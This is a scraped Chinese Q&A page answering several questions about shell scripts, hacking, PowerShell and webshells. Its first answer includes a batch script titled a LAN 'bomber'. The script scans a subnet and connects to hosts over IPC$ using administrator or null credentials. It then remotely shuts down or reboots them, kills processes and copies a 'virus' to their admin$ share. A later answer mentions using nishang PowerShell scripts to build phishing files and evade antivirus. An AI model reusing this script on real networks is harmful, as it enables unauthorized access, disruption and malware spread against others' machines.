本文目录一览:
- 1、求遍历网段ip的shell脚本
- 2、Linux shell命令讲解
- 3、黑客 为什么 用powershell
- 4、想知道网页shell攻击,等各种漏洞,寄生虫,需要哪些编程语言知识。全面一点的2016年给回答者拜
- 5、黑客们常说的 拿到shell、 shell是什么意思? 同理求问WEBSHELL是什么?
求遍历网段ip的shell脚本
是可以借鉴这里面的一些东西而已,因为只要把这两段小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵。
shell不会玩,Windows下的bat还会点...
还有一点 要在Windows中调用linux中的shell脚本啊?
应该不可能...或者很难!
在Windows下我才能做到,不过太费时间了,给你两段现成的代码,如果你有时间有兴趣的话,可以在Windows下玩玩这代码,你有兴趣的话可以结合一下,然后再做一些修改就能达到你要的要求!
第一段:
@echo off
title 扫描在线IP
::MODE con: COLS=60 LINES=18
color 0a
::装饰。
:kaishi
cls
for /l %%i in (1,1,4) do echo.
set /p qishi= 起始IP:
set /p jieshu= 终止IP:
IF ERRORLEVEL 1 echo 错误的IP地址格式! pause goto kaishi
echo.
::从键盘获得两个变量的值。
for /f "tokens=1-4 delims=." %%a in ("%qishi%") do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v1=%%a
set v2=%%b
set v3=%%c
set v4=%%d
)
::分离起始IP的四个段并赋值,判断IP是否正确。
for /f "tokens=1-4 delims=." %%a in ("%jieshu%") do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v5=%%a
set v6=%%b
set v7=%%c
set v8=%%d
)
::分离终止IP的四个段并赋值,判断IP是否正确。
IF %V5% LSS %V1% echo 错误:终止IP不能小于起始IP。 pause goto kaishi
::判断终止IP与起始IP的正确性。
IF %V4% LEQ %V8% set zengzhi_1=1
IF %V4% GEQ %V8% set zengzhi_1=-1
IF %v3% LEQ %v7% set zengzhi_2=1
IF %V3% GEQ %V7% set zengzhi_2=-1
IF %v2% LEQ %v6% set zengzhi_3=1
IF %v2% GEQ %v6% set zengzhi_3=-1
for /L %%d in (%v1%,1,%v5%) do (
for /L %%c in (%v2%,%zengzhi_3%,%v6%) do (
for /L %%b in (%v3%,%zengzhi_2%,%v7%) do (
for /L %%a in (%v4%,%zengzhi_1%,%v8%) do (
ping /n 1 %%d.%%c.%%b.%%a nul echo %%d.%%c.%%b.%%a OK || echo %%d.%%c.%%b.%%a ERROR
echo %%d.%%c.%%b.%%a
)
)
)
)
echo 扫描完毕!
pause goto kaishi
:error_2
echo 错误的IP地址!
pause
goto kaishi
第二段(未编写测试完):
@echo off
setlocal enabledelayedexpansion
title Win 2k 局域网轰炸器 未完待续 ~す珹す~
color 0a
:start
echo -------------------------------------------------------------------------------
echo 收集信息中... echo.
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
for /f "tokens=1,2,3 delims=." %%i in ('echo !ip!') do set wd=%%i.%%j.%%k
echo 你的 IP 地址是:!ip!
echo 你所在的网段是:!wd!
echo.
echo ---请选择扫描在线主机的扫描方式---
echo 1.ping 2.net view 3.exit 注:直接按回车键使用默认方式! 【ping测试】
set /p fs=请输入:
if "%fs%"=="" goto ping
if "%fs%"=="1" goto ping
if "%fs%"=="2" goto net view
if "%fs%"=="3" exit
cls goto start
:ping
echo.
echo 输入需要扫描的IP范围(不需输网段) 1至255之内 结尾数不能小于起始数!
set /p qs=起始数:
set /p js=结束数:
if !qs! gtr !js! echo 起始数 不能大于 结束数! ping 127.1 /n 2 nul 2nul goto ping
echo 正在扫描 !wd!.!qs! 至 !wd!.!js! 范围内的主机在线情况...
echo -------------------------------------------------------------------------------
for /l %%i in (!qs!,1,!js!) do (
ping !wd!.%%i /n 1 nul 2nul echo !wd!.%%i 在线! echo !wd!.%%izx.txt|| echo !wd!.%%i 离线!
)
echo --------------------------------------------------------------------------------
goto ipc$ scan
:net view
echo.
echo 此局域网内在线主机:
echo -------------------------------------------------------------------------------
FOR /F "eol=- delims=\\" %%c in ('net view') do (
FOR /F "eol=服" %%i in ('echo %%c') do (
FOR /F "eol=命" %%i in ('echo %%c') do (
echo %%i echo %%izx.txt
)
)
)
echo --------------------------------------------------------------------------------
goto ipc$ scan
:ipc$ scan
echo.
echo 即将开始ipc$扫描...
echo.
if not exist zx.txt echo sorry! 此局域网中无在线主机,无法进行ipc$扫描! 正在返回主菜单... ping 127.1 /n 5 nul 2nul cls goto start
echo ipc$ 扫描时使用何用户? 注:直接按回车键使用默认用户! 【administrator】
echo 要用空用户(空链接)请输入 【null】
set /p user=请输入:
if "!user!"=="" set user=administrator
if "!user!"=="null" set user=
echo ipc$ 扫描时使用何密码? 注:直接按回车键使用默认密码! 【空】
set /p password=请输入:
if "!password!"=="" set password=
echo.
echo 你选择的用户为:!user!
echo 你选择的密码为:!password!
ping 127.1 /n 2 nul 2nul
echo.
echo 正在扫描能ipc$连接的机子...
set ipc$=0
for /f %%i in ('type zx.txt') do (
echo -------------------------------------------------------------------------------
net use \\%%i\ipc$ "!password!" /user:"!user!" nul (
set /a ipc$=!ipc$!+1
echo 连接 %%i 成功!
echo %%iipc.txt
net use \\%%i /delnul 2nul
) || (
echo 连接 %%i 失败! ↑↑↑以上是错误提示! ↑↑↑
)
)
echo --------------------------------------------------------------------------------
echo 按任意键进入下一步! pause nul
:kill
cls
for /l %%i in (1,1,9) do echo.
echo 扫描到 !ipc$! 台机器能ipc$连接成功!
for /l %%i in (1,1,3) do echo.
echo 请问美丽的大姐您要怎么捉弄他们?
echo.
echo 1:关了他们 2:重启他们 3:开启服务
echo 4:传送病毒 5:弹出消息 6:关闭进程
echo.
set /p shr= 请选择:
if "!shr!"=="1" goto gj
if "!shr!"=="2" goto cq
if "!shr!"=="3" goto fw
if "!shr!"=="4" goto bd
if "!shr!"=="5" goto xx
if "!shr!"=="6" goto jc
goto kill
:gj
for /f %%i in ('type ipc.txt') do (
shutdown -m \\%%i -s -t 0
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:cq
for /f %%i in ('type ipc.txt') do (
shutdown -m \\%%i -r -t 0
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:fw
set /p fwm=请输入需要开启的服务名:
::还需检测路劲
for /f %%i in ('type ipc.txt') do (
net start \\%%i !fwm!
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:bd
set /p bdm=请输入要传送的病毒的路径:
for /f %%i in ('type ipc.txt') do (
copy !bdm! \\%%i\admin$
::还需开启对方计划任务服务 运行病毒
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:xx
set /p xx=请输入要弹出的消息:
for /f %%i in ('type ipc.txt') do (
echo 正在弹消息中...
sc \\%%i config messenger start= auto nul 2nul
sc \\%%i start messenger nul 2nul
net send %%i !xx!
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:jc
set /p jc=请输入需要关闭的进程名:
for /f %%i in ('type ipc.txt') do (
copy !bdm! \\%%i\admin$
taskkill /s \\%%i /f /im !jc!
)
echo 完成! 按任意键返回主菜单!
pausenul goto start1
pause
Linux shell命令讲解
Linux程序设计.第3版
作者:(英)马修,(英)斯通斯 著,陈健 等译 出版社:人民邮电出版社 出版时间:2007年07月
它提供了一种理想的方式来阐明每个被介绍过的更高级的主题。我们对这个应用程序的第一次讨论出现在本书第2章的结尾处,它展示了一个非常大的shell脚本是如何组织的,shell如何处理用户输入、如何构造菜单以及如何存储...
¥89.00¥66.75折扣:75折节省:¥22.25
--------------------------------------------------------------------------------
Linux命令、编辑器与Shell编程
作者:(美)索贝尔(Sobell,M.G.) 著,杨明军,王凤芹 译 出版社:清华大学出版社 出版时间:2007年03月
要想真正高效地使用Linux,就必须全面掌握shell和命令行。通常必须购买两本书才能达到精通的目的:一本关于Linux基本概念和技术的指南,再加上一个单独的参考手册。更糟糕的是,大多数Linux参考手册只是对man手册页的...
¥98.00¥73.50折扣:75折节省:¥24.50
--------------------------------------------------------------------------------
Linux 指令速查手册
作者:吴恒奎 编著 出版社:人民邮电出版社 出版时间:2007年12月
将程序放在后台执行 1.8 cd指令:切换目录 1.9 chfn指令:设置finger信息 1.10 chsh指令:改变登录系统时的shell 1.11 clear指令:清除终端屏幕 1.12 date指令:显示或设置系统时间 1.13 echo指令:显示...
¥45.00¥33.75折扣:75折节省:¥11.25
--------------------------------------------------------------------------------
嵌入式Linux系统开发技术详解-基于ARM
作者:孙纪坤,张小全 编著 出版社:人民邮电出版社 出版时间:2006年08月
三星S3C2410开发板介绍 242.4.2 众多的开发板供应商 26第3章 Linux编程环境 283.1 Linux常用工具 283.1.1 Shell简介 283.1.2 常用Shell命令 303.1.3 编写Shell脚本 383.1.4 正则表达式 423.1.5 程序编辑器 443.2 Mak...
¥39.00¥29.30折扣:75折节省:¥9.70
--------------------------------------------------------------------------------
UNIX shell范例精解(第4版)
作者:(美)奎格莉(Quigley,E.) 著,李化,张国强 译 出版社:清华大学出版社 出版时间:2007年05月
在本书的再版中,Quigley对她的经典著作进行了全新的改版,增加了当前shell程序员所需的最新内容——使用bash进行Linux shell编程。 本书汇聚了Quigley 21年来的 shell编程教学经验。书中不仅展示了能帮助读者快速...
¥118.00¥88.50折扣:75折节省:¥29.50
--------------------------------------------------------------------------------
完全手册--Linux系统与网络服务管理技术大全(含光盘)
作者:杨明华 等编著 出版社:电子工业出版社 出版时间:2008年01月
25.4.5 使用ssh客户端 25.4.6 使用scp客户端 25.4.7 使用sftp客户端 25.4.8 使用SSH Secure Shell访问SSH服务器 25.5 计算机病毒与防护 25.5.1 计算机病毒种类 25.5.2 计算机病毒特征 25...
¥79.80¥59.90折扣:75折节省:¥19.90
--------------------------------------------------------------------------------
构建嵌入式LINUX系统
作者:(美)雅默 著,韩存兵,龚波 改编 出版社:中国电力出版社 出版时间:2004年12月
硬件两方面。 系统管理 你必须能够胜任各种系统管理工作,如硬件的配置。系统的设定。维护以及利用shell命令脚本让管理工作自动化。 设备驱动程序 你必须知道如何对各种Linux设备驱动程序进行开发及...
¥48.00¥36.00折扣:75折节省:¥12.00
--------------------------------------------------------------------------------
Red Hat Linux 9系统管理与服务器配置
作者:杨宗德 等编著 出版社:人民邮电出版社 出版时间:2007年07月
Linux桌面管理基本操作 2.3.1 使用桌面面板 2.3.2 使用Nautilus文件管理器 2.3.3 打开终端Shell提示 2.3.4 注销及关闭系统 第3章 Shell及文本界面基本操作 3.1 ...
¥42.00¥31.50折扣:75折节省:¥10.50
--------------------------------------------------------------------------------
鸟哥的LINUX私房菜:基础学习篇
作者:鸟哥 编著 出版社:科学出版社 出版时间:2005年06月
第1篇主要介绍Linux操作系统的规划与安装;第2篇介绍Linux的基本文件权限与系统架构;第3篇介绍非常重要的Shell与Shell scripts的基本内容,这是所有以文字界面操控主机的基础;第4篇着重介绍Linux用户管理,包括账号...
¥42.00¥31.50折扣:75折节省:¥10.50
--------------------------------------------------------------------------------
Linux 基础与应用
作者:陈明 编著 出版社:清华大学出版社 出版时间:2005年10月
本书是一本有关Linux操作系统应用的教程,主要内容包括:Linux概述、Red Hat Linux系统安装、linux常用命令、X window 系统、Red Hat Linux常用工具、Linux系统管理与配置、Linux 常用应用程序、Linux下的Shell编程、...
¥23.00¥17.25折扣:75折节省:¥5.75
--------------------------------------------------------------------------------
鸟哥的Linux私房菜——服务器架设篇(附CD-ROM光盘一张)
作者:鸟哥 编著 出版社:科学出版社 出版时间:2005年06月
网站的相关维护技巧以及鸟哥平时在维护主机时认为较佳的维护经验。 本书目标读者 本书侧重于深入讨论架站规划、流程、技巧与维护等工作,比较基础的Linux操作与相关Shell语法在本书谈论得不多,相关内容请参考...
¥73.00¥54.80折扣:75折节省:¥18.20
--------------------------------------------------------------------------------
Ubuntu Linux入门到精通(附光盘)
作者:李蔚泽 著 出版社:机械工业出版社 出版时间:2007年05月
本书全面介绍了Ubuntu Linux的相关知识,内容详实,论述清晰。主要内容包括Ubuntu介绍、文件系统管理、进程管理、压缩与查询系统、Shell应用、TCP/IP基础、网络管理、网络硬盘以及加密安全通信等内容。 本书是一本...
¥42.00¥31.50折扣:75折节省:¥10.50
--------------------------------------------------------------------------------
Linux标准学习教程
作者:IT同路人 编著 出版社:人民邮电出版社 出版时间:2008年01月
Linux字符界面、Linux常用命令、Linux应用软件、Linux系统启动、Linux系统管理和维护、Linux服务器配置、shell编程、Linux C语言基础、Linux程序编译和调试维护等内容。 本书内容丰富、结构清晰、讲解细致、图文并茂...
¥49.00¥36.75折扣:75折节省:¥12.25
--------------------------------------------------------------------------------
LPI LINUX认证权威指南
作者:(美)迪安 著,Taiwan公司 编译 出版时间:2007年08月
GNu与unix基本命令、文件系统、x窗口系统等;第二部分涵盖102考试,包括Linux内核、开机程序、打印、文件管理、Shell程序设计、系统管理、TCP/IP网络概论、常用的网络服务、系统安全防护等。 通过考试不仅是对自己...
¥68.00¥50.90折扣:75折节省:¥17.10
--------------------------------------------------------------------------------
Unix与Linux系统管理
作者:(美)弗里斯科比(Frisch,AE.) 著,刘颖 译 出版社:清华大学出版社 出版时间:2006年11月
打印机和假脱机子系统第14章 自动执行管理任务第15章 管理系统资源第16章 配置和构建内核第17章 记账附录 管理Shell的编程 内容提要: 本书自1991年10月第一版开始,就成了Unix和Linux系统管理员的终极参考书。本...
¥129.00¥96.80折扣:75折节省:¥32.20
--------------------------------------------------------------------------------
LINUX系统故障诊断与排除
作者:(美)柯克兰(Kirklan,d.J.) 等著,周良忠 等译 出版社:人民邮电出版社 出版时间:2007年01月
登录问题 14.1 /etc/password,/etc/shadow和密码时效 14.2 Linux配置造成的登录失败 14.3 PAM 14.4 shell问题 14.5 密码问题 14.6 小结 14.7 尾注 第15章 X Windows问题 15.1 X背景 15.2 X组件 ...
¥48.00¥36.00折扣:75折节省:¥12.00
--------------------------------------------------------------------------------
Linux系统应用与开发教程——计算机基础课程系列教材
作者:刘海燕 等编著 出版社:机械工业出版社 出版时间:2005年10月
1.4.2 登录 1.4.3 注销 1.4.4 关闭 1.5 小结 习题 第2章 shell及常用命令 2.1 Linux终端使用基础 2.1.1 什么是Linux终端 2.1.2 ...
¥25.00¥18.70折扣:75折节省:¥6.30
--------------------------------------------------------------------------------
LINUX黑客大曝光(第2版)
作者:(美)哈茨,(美)李 著,王一川 译 出版社:清华大学出版社 出版时间:2003年12月
Linux上口令的工作方式 9.2 口令破解程序 9.3 PAM 9.4 蛮力口令猜测攻击 9.5 口令保护 9.6 Linux中非shell程序的用户认证机制 9.7 小结 第4部分 服务器的安全问题 第10章 邮件安全性 10.1 Ma...
¥59.00¥44.10折扣:75折节省:¥14.90
--------------------------------------------------------------------------------
LINUX SERVER HACKS(卷二):100个业界最尖端的技巧和工具
作者:(美)哈根,(美)琼斯 著,张颖 译 出版社:清华大学出版社 出版时间:2007年01月
29.同时在多台服务器执行命令 30.用加固的Wiki安全协作 31.用grubby编辑GRUP配置 32.给 Tab键一个显示的机会 33.在退出shell后保持进程运行 34.断开控制台连接而不结束会话 35.使用脚本节约时间和培训别人 3...
黑客 为什么 用powershell
owershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。
想知道网页shell攻击,等各种漏洞,寄生虫,需要哪些编程语言知识。全面一点的2016年给回答者拜
数据库语言:MySQL,Oracle,ms SQL等,根据对象使用关系数据库类型
shell脚本语言,JavaScript脚本语言
超文本语言html4.01或者html5
动态网页语言php,asp,perl,根据对象确定。
css对你意义不大。
再有就是C或者c++开发病毒的软件。
以上至少要求精通。
还有就是别想用windows去攻击,用Unix或者类Unix,这又是一门大课程。所以,别想去骇别人了,目前简单的攻击就是DDOS或者sql注入攻击。这都得看对方的后台代码如何。一个人学完这些语言几乎不可能,更不说精通了。去下了端口扫描软件,别太当真了。黑客不是一两年就可以学成了,除非你有师傅,直接学方法。
黑客们常说的 拿到shell、 shell是什么意思? 同理求问WEBSHELL是什么?
在计算机科学中,Shell俗称壳(用来区别于核),是指“提供使用者使用界面”的软件(命令解析器)。用途 一般情况下: 使用用户的缺省凭证和环境执行 shell。shell 命令重新初始化用户的登录会话。当给出该命令时,就会重新设置进程的控制终端的端口特征,并取消对端口的所有访问。然后 shell 命令为用户把进程凭证和环境重新设置为缺省值,并执行用户的初始程序。根据调用进程的登录用户标识建立所有的凭证和环境。
"web" - 显然需要服务器开放web服务,"shell" - 取得对服务器某种程度上操作权限。
webshell常常被称为匿名用户(入侵者)通过WEB服务端口对WEB服务器有某种程度上操作的权限,由于其大多是以网页脚本的形式出现,也有人称之为网站后门工具。
webshell有什么作用?
一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB
脚本木马,目前比较流行的asp或php木马,也有基于.NET的脚本木马。